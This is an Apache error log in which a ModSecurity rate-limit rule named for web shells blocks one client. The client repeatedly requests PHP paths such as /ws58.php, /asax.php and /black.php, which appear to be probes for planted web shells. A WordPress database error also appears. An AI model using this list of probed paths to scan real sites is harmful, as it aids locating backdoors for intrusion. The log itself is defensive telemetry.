[Sun Feb 22 23:17:32.748324 2026] [:error] [pid 2574:tid 2596] [client 158.158.123.50:37905] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amp.php"] [unique_id "aZseDMkPV7h4nTf-jiTdkgAAAM8"]
[Sun Feb 22 23:17:33.313219 2026] [:error] [pid 2628:tid 2634] [client 158.158.123.50:55374] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amp.php"] [unique_id "aZseDbK4woMTeUPH2nsyOAAAAQM"]
[Sun Feb 22 23:17:33.996729 2026] [:error] [pid 3103:tid 3118] [client 158.158.123.50:37004] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amp.php"] [unique_id "aZseDZfzX5hBIaQY93N1tgAAAYw"]
[Sun Feb 22 23:17:35.105425 2026] [:error] [pid 3103:tid 3127] [client 158.158.123.50:55278] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amp.php"] [unique_id "aZseD5fzX5hBIaQY93N1twAAAZU"]
[Sun Feb 22 23:17:35.618694 2026] [:error] [pid 2474:tid 2545] [client 158.158.123.50:37934] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aZseD_hvE7P5hX_xKnSvigAAAFg"]
[Sun Feb 22 23:17:36.277142 2026] [:error] [pid 2574:tid 2585] [client 158.158.123.50:37937] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aZseEMkPV7h4nTf-jiTdlAAAAMQ"]
[Sun Feb 22 23:17:36.895242 2026] [:error] [pid 2473:tid 2482] [client 158.158.123.50:28738] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aZseEHptAeV7-XzzNzgynQAAAAU"]
[Sun Feb 22 23:17:37.440473 2026] [:error] [pid 2475:tid 2560] [client 158.158.123.50:26326] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aZseESdme8TSKYpXujdncQAAAJQ"]
[Sun Feb 22 23:17:37.956236 2026] [:error] [pid 3103:tid 3128] [client 158.158.123.50:37023] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aZseEZfzX5hBIaQY93N1uwAAAZY"]
[Sun Feb 22 23:17:38.529822 2026] [:error] [pid 2629:tid 2679] [client 158.158.123.50:37042] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aZseEglsXSV5M4mfwZ9QdQAAAVU"]
[Sun Feb 22 23:17:39.147801 2026] [:error] [pid 2629:tid 2666] [client 158.158.123.50:37901] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aZseEwlsXSV5M4mfwZ9QdwAAAUg"]
[Sun Feb 22 23:17:40.036504 2026] [:error] [pid 2473:tid 2477] [client 158.158.123.50:38401] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aZseFHptAeV7-XzzNzgypAAAAAA"]
[Sun Feb 22 23:17:40.631037 2026] [:error] [pid 2574:tid 2583] [client 158.158.123.50:46412] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aZseFMkPV7h4nTf-jiTdmQAAAMI"]
[Sun Feb 22 23:17:41.354113 2026] [:error] [pid 2628:tid 2642] [client 158.158.123.50:37902] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aZseFbK4woMTeUPH2nsyRwAAAQs"]
[Sun Feb 22 23:17:42.136047 2026] [:error] [pid 2629:tid 2670] [client 158.158.123.50:36994] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aZseFglsXSV5M4mfwZ9QgQAAAUw"]
[Sun Feb 22 23:17:43.118955 2026] [:error] [pid 2473:tid 2489] [client 158.158.123.50:48195] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aZseF3ptAeV7-XzzNzgypwAAAAw"]
[Sun Feb 22 23:17:44.250453 2026] [:error] [pid 2473:tid 2485] [client 158.158.123.50:54007] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws58.php"] [unique_id "aZseGHptAeV7-XzzNzgyrAAAAAg"]
[Sun Feb 22 23:17:45.219118 2026] [:error] [pid 2629:tid 2662] [client 158.158.123.50:44714] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws58.php"] [unique_id "aZseGQlsXSV5M4mfwZ9QhgAAAUQ"]
[Sun Feb 22 23:17:46.384031 2026] [:error] [pid 3103:tid 3112] [client 158.158.123.50:37033] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws58.php"] [unique_id "aZseGpfzX5hBIaQY93N1yAAAAYY"]
[Sun Feb 22 23:17:47.604487 2026] [:error] [pid 3103:tid 3114] [client 158.158.123.50:55388] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws58.php"] [unique_id "aZseG5fzX5hBIaQY93N1zgAAAYg"]
[Sun Feb 22 23:17:48.557514 2026] [:error] [pid 2574:tid 2583] [client 158.158.123.50:44704] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfd.php"] [unique_id "aZseHMkPV7h4nTf-jiTdowAAAMI"]
[Sun Feb 22 23:17:49.610934 2026] [:error] [pid 2574:tid 2592] [client 158.158.123.50:55378] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfd.php"] [unique_id "aZseHckPV7h4nTf-jiTdpQAAAMs"]
[Sun Feb 22 23:17:50.346396 2026] [:error] [pid 2475:tid 2560] [client 158.158.123.50:47350] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfd.php"] [unique_id "aZseHidme8TSKYpXujdneQAAAJQ"]
[Sun Feb 22 23:17:51.001910 2026] [:error] [pid 2475:tid 2555] [client 158.158.123.50:47305] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfd.php"] [unique_id "aZseHydme8TSKYpXujdnfAAAAI8"]
[Sun Feb 22 23:17:51.629504 2026] [:error] [pid 2473:tid 2486] [client 158.158.123.50:52163] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sc.php"] [unique_id "aZseH3ptAeV7-XzzNzgytAAAAAk"]
[Sun Feb 22 23:17:52.417162 2026] [:error] [pid 2628:tid 2637] [client 158.158.123.50:54236] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sc.php"] [unique_id "aZseILK4woMTeUPH2nsyXgAAAQY"]
[Sun Feb 22 23:17:53.245798 2026] [:error] [pid 2474:tid 2514] [client 158.158.123.50:39248] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sc.php"] [unique_id "aZseIfhvE7P5hX_xKnSvmwAAAEU"]
[Sun Feb 22 23:17:54.181988 2026] [:error] [pid 2473:tid 2499] [client 158.158.123.50:39246] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sc.php"] [unique_id "aZseInptAeV7-XzzNzgyvwAAABY"]
[Sun Feb 22 23:17:55.164075 2026] [:error] [pid 2574:tid 2601] [client 158.158.123.50:54259] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff.php"] [unique_id "aZseI8kPV7h4nTf-jiTdqAAAANQ"]
[Sun Feb 22 23:17:55.973474 2026] [:error] [pid 2629:tid 2671] [client 158.158.123.50:47339] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff.php"] [unique_id "aZseIwlsXSV5M4mfwZ9QjAAAAU0"]
[Sun Feb 22 23:17:56.493841 2026] [:error] [pid 2629:tid 2662] [client 158.158.123.50:54593] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff.php"] [unique_id "aZseJAlsXSV5M4mfwZ9QjgAAAUQ"]
[Sun Feb 22 23:17:57.828425 2026] [:error] [pid 2475:tid 2521] [client 158.158.123.50:23625] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff.php"] [unique_id "aZseJSdme8TSKYpXujdniwAAAIA"]
[Sun Feb 22 23:17:58.923196 2026] [:error] [pid 2473:tid 2487] [client 158.158.123.50:47343] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dox.php"] [unique_id "aZseJnptAeV7-XzzNzgyxAAAAAo"]
[Sun Feb 22 23:17:59.900450 2026] [:error] [pid 2474:tid 2544] [client 158.158.123.50:54719] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dox.php"] [unique_id "aZseJ_hvE7P5hX_xKnSvnAAAAFc"]
[Sun Feb 22 23:18:00.614357 2026] [:error] [pid 2474:tid 2543] [client 158.158.123.50:52167] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dox.php"] [unique_id "aZseKPhvE7P5hX_xKnSvnQAAAFY"]
[Sun Feb 22 23:18:01.608417 2026] [:error] [pid 2475:tid 2553] [client 158.158.123.50:54635] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dox.php"] [unique_id "aZseKSdme8TSKYpXujdnlwAAAI0"]
[Sun Feb 22 23:18:02.701870 2026] [:error] [pid 2574:tid 2605] [client 158.158.123.50:23386] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aZseKskPV7h4nTf-jiTdsQAAANg"]
[Sun Feb 22 23:18:03.740241 2026] [:error] [pid 3103:tid 3117] [client 158.158.123.50:54600] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aZseK5fzX5hBIaQY93N12QAAAYs"]
[Sun Feb 22 23:18:05.208651 2026] [:error] [pid 2629:tid 2679] [client 158.158.123.50:54598] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aZseLQlsXSV5M4mfwZ9QnQAAAVU"]
[Sun Feb 22 23:18:07.474201 2026] [:error] [pid 2574:tid 2597] [client 158.158.123.50:38496] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aZseL8kPV7h4nTf-jiTdvAAAANA"]
[Sun Feb 22 23:18:08.886173 2026] [:error] [pid 2629:tid 2667] [client 158.158.123.50:44624] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/24.php"] [unique_id "aZseMAlsXSV5M4mfwZ9QoQAAAUk"]
[Sun Feb 22 23:18:09.388013 2026] [:error] [pid 2628:tid 2650] [client 158.158.123.50:44609] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/24.php"] [unique_id "aZseMbK4woMTeUPH2nsyfQAAARM"]
[Sun Feb 22 23:18:11.810479 2026] [proxy_fcgi:error] [pid 3103:tid 3109] [client 158.158.123.50:45179] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1771773491.7573258876800537109375', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_option'
[Sun Feb 22 23:18:27.313870 2026] [:error] [pid 3103:tid 3107] [client 158.158.123.50:45179] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "aZseQ5fzX5hBIaQY93N2AwAAAYE"]
[Sun Feb 22 23:18:28.760974 2026] [:error] [pid 3103:tid 3111] [client 158.158.123.50:40247] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "aZseRJfzX5hBIaQY93N2BgAAAYU"]
[Sun Feb 22 23:18:30.026927 2026] [:error] [pid 2473:tid 2485] [client 158.158.123.50:42009] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "aZseRnptAeV7-XzzNzgy7wAAAAg"]
[Sun Feb 22 23:18:31.864841 2026] [:error] [pid 2475:tid 2553] [client 158.158.123.50:45438] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "aZseRydme8TSKYpXujdnrAAAAI0"]
[Sun Feb 22 23:18:32.712093 2026] [:error] [pid 2574:tid 2590] [client 158.158.123.50:23293] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asax.php"] [unique_id "aZseSMkPV7h4nTf-jiTdzwAAAMk"]
[Sun Feb 22 23:18:33.699405 2026] [:error] [pid 3103:tid 3118] [client 158.158.123.50:41683] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asax.php"] [unique_id "aZseSZfzX5hBIaQY93N2CQAAAYw"]
[Sun Feb 22 23:18:34.813070 2026] [:error] [pid 2473:tid 2491] [client 158.158.123.50:40162] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asax.php"] [unique_id "aZseSnptAeV7-XzzNzgy-QAAAA4"]
[Sun Feb 22 23:18:35.870002 2026] [:error] [pid 3103:tid 3115] [client 158.158.123.50:36068] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asax.php"] [unique_id "aZseS5fzX5hBIaQY93N2DAAAAYk"]
[Sun Feb 22 23:18:37.121988 2026] [:error] [pid 2574:tid 2593] [client 158.158.123.50:40228] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/black.php"] [unique_id "aZseTckPV7h4nTf-jiTd1QAAAMw"]
[Sun Feb 22 23:18:38.368365 2026] [:error] [pid 2475:tid 2557] [client 158.158.123.50:52977] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/black.php"] [unique_id "aZseTidme8TSKYpXujdntQAAAJE"]
[Sun Feb 22 23:18:39.213824 2026] [:error] [pid 3103:tid 3130] [client 158.158.123.50:42446] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/black.php"] [unique_id "aZseT5fzX5hBIaQY93N2EwAAAZg"]
[Sun Feb 22 23:18:40.060977 2026] [:error] [pid 2473:tid 2494] [client 158.158.123.50:50120] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/black.php"] [unique_id "aZseUHptAeV7-XzzNzgzAgAAABE"]
[Sun Feb 22 23:18:41.026518 2026] [:error] [pid 3103:tid 3115] [client 158.158.123.50:39354] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/global.php"] [unique_id "aZseUZfzX5hBIaQY93N2FgAAAYk"]
[Sun Feb 22 23:18:42.187554 2026] [:error] [pid 2474:tid 2512] [client 158.158.123.50:52949] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/global.php"] [unique_id "aZseUvhvE7P5hX_xKnSvuwAAAEM"]
